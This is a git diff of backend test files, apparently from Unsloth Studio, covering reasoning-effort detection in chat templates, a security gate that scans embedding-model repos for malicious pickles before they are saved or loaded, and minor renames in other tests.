+Detection used to return the single level ``['max']``, so the UI collapsed to
+None / Max and the plain-thinking tier was unreachable. Detection now surfaces
+``'high'`` as that plain tier, giving None / High / Max. These tests pin the
+classifier, the GLM-style parity case, and the full request-kwargs -> rendered
+prompt path for each state (the model itself is too large to load here).
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_backend_root = Path(__file__).resolve().parent.parent
+if str(_backend_root) not in sys.path:
+    sys.path.insert(0, str(_backend_root))
+
+
+# Faithful slice of the DeepSeek-V4-Flash GGUF template: the enable_thinking
+# gate, the sole ``reasoning_effort == 'max'`` escalation, and the plain-think
+# fallback. Any non-'max' effort renders as ordinary thinking.
+DEEPSEEK_V4_TEMPLATE = """
+{%- if not thinking is defined -%}
+  {%- if enable_thinking is defined -%}
+    {%- set thinking = enable_thinking -%}
+  {%- else -%}
+    {%- set thinking = false -%}
+  {%- endif -%}
+{%- endif -%}
+{%- if not reasoning_effort is defined -%}
+  {%- set reasoning_effort = none -%}
+{%- endif -%}
+{{- bos_token -}}
+{%- if thinking and reasoning_effort == 'max' -%}
+  {{- 'Reasoning Effort: Absolute maximum with no shortcuts permitted.\\n\\n' -}}
+{%- endif -%}
+{%- for message in messages -%}
+  {{- '<|User|>' + (message['content'] or '') -}}
+{%- endfor -%}
+{%- if add_generation_prompt -%}
+  {{- '<|Assistant|>' -}}
+  {%- if thinking -%}{{- '<think>' -}}{%- else -%}{{- '</think>' -}}{%- endif -%}
+{%- endif -%}
+"""
+
+
+# GLM-5.2-style: branches on two effort literals, so 'high' already exists as
+# the sub-'max' tier and detection must leave the pair untouched.
+GLM_STYLE_TEMPLATE = """
+{%- if enable_thinking -%}
+  {%- if reasoning_effort == 'high' -%}{{- 'H' -}}
+  {%- elif reasoning_effort == 'max' -%}{{- 'M' -}}
+  {%- endif -%}
+{%- endif -%}
+"""
+
+
+# A ['max']-only template under a non-deepseek id: the synthetic 'high' is scoped
+# to deepseek-v4, so this must stay ['max'] (no phantom 'high').
+NON_DEEPSEEK_MAX_ONLY_TEMPLATE = DEEPSEEK_V4_TEMPLATE
+
+
+# A template whose sole effort literal is a sub-'max' level: the guard targets
+# only the ['max']-alone case, so a lone 'high' stays a singleton.
+HIGH_ONLY_TEMPLATE = """
+{%- if enable_thinking and reasoning_effort == 'high' -%}{{- 'H' -}}{%- endif -%}
+"""
+
+
+def _render(template: str, **kwargs) -> str:
+    jinja2 = pytest.importorskip("jinja2")
+    env = jinja2.Environment()
+    tmpl = env.from_string(template)
+    return tmpl.render(bos_token = "<BOS>", add_generation_prompt = True, **kwargs)
+
+
+# -- Classifier -------------------------------------------------------
+
+
+def test_deepseek_v4_surfaces_high_as_plain_tier():
+    """Sole 'max' escalation expands to ['high', 'max'] so None/High/Max show."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash")
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+
+
+def test_glm_style_two_level_template_unchanged():
+    """A template that already names a sub-'max' tier is left as-is."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(GLM_STYLE_TEMPLATE, "unsloth/GLM-5.2")
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+
+
+def test_synthetic_high_scoped_to_deepseek_v4():
+    """The same ['max']-only template under a non-deepseek id keeps ['max']."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(NON_DEEPSEEK_MAX_ONLY_TEMPLATE, "vendor/OtherHybrid-GGUF")
+    assert flags["reasoning_effort_levels"] == ["max"]
+
+
+def test_guard_does_not_fire_for_sub_max_singleton():
+    """The expansion targets only ['max']; a lone 'high' stays a singleton."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(HIGH_ONLY_TEMPLATE, "custom/high-only")
+    assert flags["reasoning_effort_levels"] == ["high"]
+
+
+# -- Request kwargs -> rendered prompt, for each state ----------------
+
+
+def _kwargs_for(flags: dict, enable_thinking, reasoning_effort):
+    """Drive the real backend method with a shim carrying the detected flags."""
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    shim = object.__new__(LlamaCppBackend)
+    shim._supports_reasoning = flags["supports_reasoning"]
+    shim._reasoning_always_on = flags["reasoning_always_on"]
+    shim._reasoning_style = flags["reasoning_style"]
+    shim._reasoning_effort_levels = flags["reasoning_effort_levels"]
+    shim._supports_preserve_thinking = flags["supports_preserve_thinking"]
+    return shim._request_reasoning_kwargs(enable_thinking, reasoning_effort, None) or {}
+
+
+def _flags():
+    from core.inference.llama_cpp import detect_reasoning_flags
+    return detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash")
+
+
+def test_none_state_renders_non_thinking():
+    """UI 'None' -> enable_thinking=false -> closed </think>, no preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = False, reasoning_effort = None)
+    assert kwargs == {"enable_thinking": False}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("</think>")
+    assert "Absolute maximum" not in out
+
+
+def test_high_state_renders_plain_thinking():
+    """UI 'High' -> et=true, effort=high -> open <think>, no max preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "high")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" not in out
+
+
+def test_max_state_injects_max_preamble():
+    """UI 'Max' -> et=true, effort=max -> open <think> plus the max preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "max")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "max"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" in out
+
+
+def test_high_effort_alone_enables_thinking():
+    """API caller sending only reasoning_effort='high' (no enable_thinking) still
+    gets thinking on, so the newly exposed High mode renders correctly."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = None, reasoning_effort = "high")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" not in out
diff --git a/studio/backend/tests/test_embedding_model_security_gate.py b/studio/backend/tests/test_embedding_model_security_gate.py
new file mode 100644
index 0000000000..a6c18bd8de
--- /dev/null
+++ b/studio/backend/tests/test_embedding_model_security_gate.py
@@ -0,0 +1,432 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The RAG embedding model must pass the malware/pickle gate before it is persisted or
+loaded. A flagged repo (or any repo saved with force) previously reached
+SentenceTransformer unscanned, bypassing the normal model-load protections."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+import routes.settings as settings
+
+
+class _Decision:
+    def __init__(self, blocked):
+        self.blocked = blocked
+
+
+def _security_stub(blocked):
+    mod = _types.ModuleType("utils.security")
+    mod.evaluate_file_security = lambda *a, **k: _Decision(blocked)
+    mod.security_load_subdirs = lambda *a, **k: ()
+    return mod
+
+
+@pytest.fixture
+def client(monkeypatch):
+    # The settings scan unions in the ST module dirs read from modules.json; keep it
+    # offline and deterministic for the endpoint tests that use this fixture.
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ())
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: False)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+    monkeypatch.setattr(
+        settings,
+        "effective_gguf_repo",
+        lambda: f"{saved.get('model', 'unsloth/default-embed')}-GGUF",
+    )
+    monkeypatch.setattr(
+        settings,
+        "default_gguf_repo",
+        lambda: "unsloth/default-embed-GGUF",
+    )
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    return TestClient(app, raise_server_exceptions = False), saved
+
+
+def test_flagged_repo_is_blocked_even_with_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    r = c.put(
+        "/embedding-model", json = {"embedding_model": "attacker/malicious-embed", "force": True}
+    )
+    # 403, not the forceable 409, so the client does not offer "save anyway".
+    assert r.status_code == 403
+    assert "model" not in saved  # force must not persist a flagged repo
+
+
+def test_flagged_repo_is_blocked_without_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    r = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"})
+    assert r.status_code == 403
+    assert "model" not in saved
+
+
+def test_hard_block_uses_non_forceable_status(client, monkeypatch):
+    # The forceable verification path uses 409; the hard security block must be distinct
+    # (403) so the frontend never routes it into the "save anyway" force flow.
+    c, _saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    blocked = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"})
+    assert blocked.status_code == 403
+
+    # A verification failure (not-an-embedding-model) stays forceable at 409.
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    monkeypatch.setattr(settings, "is_embedding_model", lambda *a, **k: False, raising = False)
+    import utils.models as _models
+
+    monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: False)
+    unverified = c.put("/embedding-model", json = {"embedding_model": "acme/not-an-embedder"})
+    assert unverified.status_code == 409
+
+
+def test_offline_cached_non_st_model_is_accepted(client, monkeypatch):
+    # Offline, a cached transformers-native embedder (no modules.json) is unverifiable via HF
+    # metadata, but ST can load any cached encoder, so accept it (no 409).
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    import utils.models as _models
+    import utils.utils as _uu
+
+    monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: False)
+    monkeypatch.setattr(_uu, "hf_cache_snapshot_is_loadable", lambda name: True)
+    r = c.put("/embedding-model", json = {"embedding_model": "acme/gte-modernbert"})
+    assert r.status_code == 200
+    assert saved.get("model") == "acme/gte-modernbert"
+
+
+def test_offline_partial_or_uncached_model_still_409(client, monkeypatch):
+    # Offline but not loadable (uncached or metadata-only partial cache): keep the forceable
+    # 409, since the cache-only load would fail anyway.
+    c, _saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    import utils.models as _models
+    import utils.utils as _uu
+
+    monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: False)
+    monkeypatch.setattr(_uu, "hf_cache_snapshot_is_loadable", lambda name: False)
+    r = c.put("/embedding-model", json = {"embedding_model": "acme/uncached-embedder"})
+    assert r.status_code == 409
+
+
+def test_offline_skips_remote_gguf_probe(client, monkeypatch):
+    # Offline + llama backend: the remote GGUF probe (list_repo_files) must be skipped so a
+    # dead-DNS session cannot hang.
+    c, _saved = client
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: True)
+    monkeypatch.setattr(settings, "_local_gguf_backend_error", lambda model: None)
+
+    def _boom(*a, **k):
+        raise AssertionError("hit the network for the GGUF probe")
+
+    monkeypatch.setattr(settings, "_hf_gguf_backend_error", _boom)
+    import utils.models as _models
+
+    monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: True)
+    r = c.put("/embedding-model", json = {"embedding_model": "acme/embedder"})
+    assert r.status_code == 200
+
+
+def test_llama_backend_skips_the_st_pickle_scan(monkeypatch):
+    # On the llama-server backend the embedder loads GGUF (inert), not the ST repo's
+    # pickle, so a flagged ST repo with a clean GGUF companion must not be rejected here.
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: True)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+    # force skips the GGUF availability checks; the ST pickle gate is what we assert is skipped.
+    called = {"scanned": False}
+    mod = _types.ModuleType("utils.security")
+
+    def _fail(*a, **k):
+        called["scanned"] = True
+        return _Decision(True)
+
+    mod.evaluate_file_security = _fail
+    mod.security_load_subdirs = lambda *a, **k: ()
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model",
+        json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True},
+    )
+    assert r.status_code == 200
+    assert called["scanned"] is False  # the ST pickle scan never ran on the llama path
+    assert saved.get("model") == "attacker/flagged-st-clean-gguf"
+
+
+def test_runtime_llama_fallback_skips_the_st_pickle_scan(monkeypatch):
+    # auto resolves to sentence-transformers (GPU present) but the embedder fell back to
+    # llama-server at runtime (torch/CUDA load or encode failure), so the process now loads
+    # only inert GGUF. The real _llama_backend_active() must reflect that cached fallback,
+    # so a flagged ST repo with a clean GGUF companion must not be hard-blocked here.
+    import core.rag.embeddings as embeddings
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    # Simulate the runtime fallback: the process-wide backend is a LlamaServerBackend even
+    # though the auto resolver would still say sentence-transformers.
+    monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend())
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ())
+
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    # Deliberately do NOT monkeypatch settings._llama_backend_active: this test exercises the
+    # real delegation to embeddings.active_backend_is_llama() so the cached fallback is honored.
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    called = {"scanned": False}
+    mod = _types.ModuleType("utils.security")
+
+    def _fail(*a, **k):
+        called["scanned"] = True
+        return _Decision(True)
+
+    mod.evaluate_file_security = _fail
+    mod.security_load_subdirs = lambda *a, **k: ()
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model",
+        json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True},
+    )
+    assert r.status_code == 200
+    assert called["scanned"] is False  # the ST pickle scan never ran on the llama fallback
+    assert saved.get("model") == "attacker/flagged-st-clean-gguf"
+
+
+def test_active_backend_is_llama_reflects_cache_and_resolver(monkeypatch):
+    # active_backend_is_llama() reports the ACTUAL built backend when one exists, and defers
+    # to the resolver (fresh-process behavior) when none has been built yet.
+    import core.rag.embeddings as embeddings
+    import core.rag.config as rag_config
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    # A cached llama backend wins even when auto would resolve to sentence-transformers.
+    monkeypatch.setattr(rag_config, "EMBED_BACKEND", "auto")
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend())
+    assert embeddings.active_backend_is_llama() is True
+
+    # A cached ST backend reports False even when the resolver now picks llama, so its
+    # pickle stays gated (the cached backend, not the resolver, is what actually embeds).
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server")
+    monkeypatch.setattr(embeddings, "_backend", embeddings._SentenceTransformersBackend())
+    assert embeddings.active_backend_is_llama() is False
+
+    # No cached backend -> the resolver decides, unchanged from before.
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_backend", None)
+    assert embeddings.active_backend_is_llama() is False  # auto -> sentence-transformers
+
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server")
+    assert embeddings.active_backend_is_llama() is True  # auto -> llama-server
+
+    # An explicit (non-auto) key is honored verbatim without a cached backend.
+    monkeypatch.setattr(rag_config, "EMBED_BACKEND", "llama-server")
+    assert embeddings.active_backend_is_llama() is True
+
+
+def test_settings_scan_scopes_module_subdirs(monkeypatch):
+    # The settings scan must pass the ST module dirs (0_Transformer/) as load roots so a
+    # pickle directly under one blocks; assert those subdirs reach evaluate_file_security.
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: False)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(
+        embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",)
+    )
+    seen = {}
+
+    def _capture(*a, **k):
+        seen["subdirs"] = tuple(k.get("load_subdirs") or ())
+        return _Decision(False)
+
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = lambda *a, **k: ()
+    mod.evaluate_file_security = _capture
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model", json = {"embedding_model": "acme/embed-with-module-dir", "force": True}
+    )
+    assert r.status_code == 200
+    assert "0_Transformer" in seen["subdirs"]
+
+
+def test_clean_repo_saves_under_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    r = c.put("/embedding-model", json = {"embedding_model": "acme/clean-embed", "force": True})
+    assert r.status_code == 200
+    assert saved.get("model") == "acme/clean-embed"
+    assert r.json() == {
+        "embedding_model": "acme/clean-embed",
+        "embedding_gguf_repo": "acme/clean-embed-GGUF",
+        "default_embedding_model": "unsloth/default-embed",
+        "default_embedding_gguf_repo": "unsloth/default-embed-GGUF",
+        "is_custom": True,
+    }
+
+
+def test_load_sink_refuses_flagged_model(monkeypatch):
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    import core.rag.embeddings as embeddings
+    with pytest.raises(embeddings.UnsafeEmbeddingModelError):
+        embeddings._guard_model_security("attacker/malicious-embed")
+
+
+def test_load_sink_allows_clean_model(monkeypatch):
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    import core.rag.embeddings as embeddings
+    embeddings._guard_model_security("acme/clean-embed")  # no raise
+
+
+def test_sink_threads_ambient_token_into_scan(monkeypatch):
+    # A gated repo set via env/default has no request token; the guard must feed the
+    # loader's own token to the scan, or it fails open for the repo that still loads.
+    seen = {}
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = (
+        lambda name, token = None: seen.setdefault("subdirs_token", token) or ()
+    )
+    mod.evaluate_file_security = lambda *a, **k: seen.setdefault(
+        "scan_token", k.get("hf_token")
+    ) or _Decision(False)
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: "hf_ambient")
+    embeddings._guard_model_security("acme/gated-embed")
+    assert seen["scan_token"] == "hf_ambient"
+    assert seen["subdirs_token"] == "hf_ambient"
+
+
+def test_sink_scopes_st_module_subdirs_into_scan(monkeypatch):
+    # A flagged pickle directly under a Transformer module dir (0_Transformer/) must
+    # reach the scan as a load root; assert the guard unions the module dirs into
+    # load_subdirs so evaluate_file_security treats such a pickle as root-level.
+    seen = {}
+
+    def _capture(*a, **k):
+        seen["subdirs"] = tuple(k.get("load_subdirs") or ())
+        return _Decision(False)
+
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = lambda name, token = None: ()
+    mod.evaluate_file_security = _capture
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: None)
+    monkeypatch.setattr(
+        embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",)
+    )
+    embeddings._guard_model_security("acme/embed-with-module-dir")
+    assert "0_Transformer" in seen["subdirs"]
+
+
+def test_st_module_subdirs_reads_local_modules_json(tmp_path, monkeypatch):
+    # The helper must parse each module's non-empty "path" from a local repo's
+    # modules.json and drop the root-level ("") Transformer entry.
+    import json
+    import core.rag.embeddings as embeddings
+
+    (tmp_path / "modules.json").write_text(
+        json.dumps(
+            [
+                {"idx": 0, "name": "0", "path": "0_Transformer", "type": "..."},
+                {"idx": 1, "name": "1", "path": "1_Pooling", "type": "..."},
+                {"idx": 2, "name": "2", "path": "", "type": "..."},
+            ]
+        )
+    )
+    subdirs = embeddings._st_module_subdirs(str(tmp_path), None)
+    assert subdirs == ("0_Transformer", "1_Pooling")
+
+
+def test_st_module_subdirs_swallows_errors(monkeypatch):
+    # Any failure (no modules.json, offline, malformed) returns () so the guard never
+    # bricks the embedder.
+    import huggingface_hub
+    import core.rag.embeddings as embeddings
+
+    def _boom(*a, **k):
+        raise RuntimeError("offline")
+
+    monkeypatch.setattr(huggingface_hub, "hf_hub_download", _boom)
+    assert embeddings._st_module_subdirs("acme/no-such-repo-xyz", None) == ()
+
+
+def test_security_block_is_not_swallowed_by_llama_fallback(monkeypatch):
+    # The ST encode fallback must re-raise a security block, not swap to llama-server.
+    import core.rag.embeddings as embeddings
+
+    def _boom(*a, **k):
+        raise embeddings.UnsafeEmbeddingModelError("flagged")
+
+    monkeypatch.setattr(embeddings, "_st_encode", _boom)
+    monkeypatch.setattr(
+        embeddings,
+        "_switch_to_llama_fallback",
+        lambda err: pytest.fail("security block must not fall back to llama-server"),
+    )
+    with pytest.raises(embeddings.UnsafeEmbeddingModelError):
+        embeddings._SentenceTransformersBackend().encode(["hi"])
diff --git a/studio/backend/tests/test_embedding_model_settings.py b/studio/backend/tests/test_embedding_model_settings.py
index 3be4af0e32..bcf3ded71c 100644
--- a/studio/backend/tests/test_embedding_model_settings.py
+++ b/studio/backend/tests/test_embedding_model_settings.py
@@ -53,3 +53,10 @@ def test_custom_model_overrides_default_and_derives_gguf(settings_store, monkeyp
 
     assert ems.reset_rag_embedding_model() == rag_config.EMBEDDING_MODEL
     assert ems.get_stored_embedding_model() is None
+
+
+def test_env_default_derives_its_gguf_companion(monkeypatch):
+    monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False)
+    monkeypatch.setattr(rag_config, "EMBEDDING_MODEL", "org/env-default-embedder")
+
+    assert rag_config.default_gguf_repo() == "org/env-default-embedder-GGUF"
diff --git a/studio/backend/tests/test_export_absolute_paths.py b/studio/backend/tests/test_export_absolute_paths.py
index 761ea08e3f..5097f9f53a 100644
--- a/studio/backend/tests/test_export_absolute_paths.py
+++ b/studio/backend/tests/test_export_absolute_paths.py
@@ -158,6 +158,7 @@ def _install_lightweight_backend_stubs(monkeypatch):
     utils_model_config._pick_best_gguf = lambda variants: variants[0] if variants else None
     utils_model_config._extract_quant_label = lambda value: value
     utils_model_config._is_big_endian_gguf_path = lambda *args, **kwargs: False
+    utils_model_config._is_mtp_drafter = lambda *args, **kwargs: False
     utils_model_config.is_audio_input_type = lambda *args, **kwargs: None
     monkeypatch.setitem(
         sys.modules,
diff --git a/studio/backend/tests/test_frontend_resolution.py b/studio/backend/tests/test_frontend_resolution.py
index c3e0524a30..7ac2717aae 100644
--- a/studio/backend/tests/test_frontend_resolution.py
+++ b/studio/backend/tests/test_frontend_resolution.py
@@ -218,7 +218,7 @@ def test_systemexit_message_contains_actionable_fixes(tmp_path, monkeypatch):
         installer_bin = home / "unsloth_studio" / "bin" / "unsloth"
     tried_lines = "\n".join(f"  - {p}" for p in attempted)
     message = (
-        "[ERROR] Studio frontend build not found.\n"
+        "[ERROR] Unsloth frontend build not found.\n"
         f"Tried:\n{tried_lines}\n"
         "\n"
         "Likely cause: another 'unsloth' on PATH is shadowing the "
diff --git a/studio/backend/tests/test_gemini_provider.py b/studio/backend/tests/test_gemini_provider.py
index 85ceb04d27..c6ffa798d0 100644
--- a/studio/backend/tests/test_gemini_provider.py
+++ b/studio/backend/tests/test_gemini_provider.py
@@ -768,7 +768,7 @@ def test_cached_content_pass_through(monkeypatch):
 
 
 def test_boolean_caching_does_not_set_cached_content(monkeypatch):
-    """Studio's existing True/False signals shouldn't fabricate a cache id."""
+    """Unsloth's existing True/False signals shouldn't fabricate a cache id."""
     captured = _capture_body(monkeypatch, enable_prompt_caching = True)
     assert "cachedContent" not in captured["body"]
 
@@ -2613,7 +2613,7 @@ def test_gemini_native_skips_orphan_function_response_for_native_part_replay(mon
 
 def test_gemini_native_part_falls_back_to_args_google(monkeypatch):
     """Round 27: a direct OpenAI-compat API caller (or imported third-party
-    thread) cannot use Studio's non-standard `tool_calls[].extra_content`
+    thread) cannot use Unsloth's non-standard `tool_calls[].extra_content`
     field, so the native_part payload round-trips through `function.arguments`
     as `{"google": {"native_part": {...}}}`. The synthetic-builtin detector
     recognizes that location, but the replay branch was only reading from
diff --git a/studio/backend/tests/test_gemma4_chat_template_override.py b/studio/backend/tests/test_gemma4_chat_template_override.py
index f726741aa5..9fb24a4cf6 100644
--- a/studio/backend/tests/test_gemma4_chat_template_override.py
+++ b/studio/backend/tests/test_gemma4_chat_template_override.py
@@ -3,7 +3,7 @@
 
 """Auto-override of the chat template for ``unsloth/gemma-4-*-GGUF``.
 
-Studio ships a bundled ``gemma-4.jinja`` (PR #118 based, ``preserve_thinking``
+Unsloth ships a bundled ``gemma-4.jinja`` (PR #118 based, ``preserve_thinking``
 defaulted off) and applies it to gemma-4 GGUF loads via the existing
 ``chat_template_override`` -> ``--chat-template-file`` path, so users do not need
 to re-download quants. Pins the family matcher, the resolver precedence, the
diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
index 8df8d37a52..e3055d2127 100644
--- a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
+++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
@@ -1,15 +1,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Edge cases in Gemma-native tool-call parsing.
-
-Covers two failure modes:
-  1. A bare (unquoted) string argument that contains a comma, e.g.
-     ``location:New York, NY`` -- the comma must not be treated as the next
-     key boundary, or the whole call is dropped.
-  2. A tool-call marker that appears INSIDE another call's argument string is
-     data, not a real call, so it must not be promoted to a second tool call.
-"""
+"""Gemma-native tool-call parsing edge cases: commas inside bare string values,
+and markers inside another call's argument data staying data."""
 
 from __future__ import annotations
 
@@ -21,7 +14,11 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-from core.inference.tool_call_parser import parse_tool_calls_from_text
+from core.inference.tool_call_parser import (
+    _gemma_parse_value,
+    parse_tool_calls_from_text,
+)
+from core.tool_healing import strip_tool_call_markup
 
 
 def _args(call: dict) -> dict:
@@ -40,14 +37,22 @@ def test_bare_string_argument_with_comma_is_kept():
 def test_normal_multi_key_arguments_still_split():
     calls = parse_tool_calls_from_text('<|tool_call>call:f{a:1,b:hello,c:"x,y"}<tool_call|>')
     assert len(calls) == 1, calls
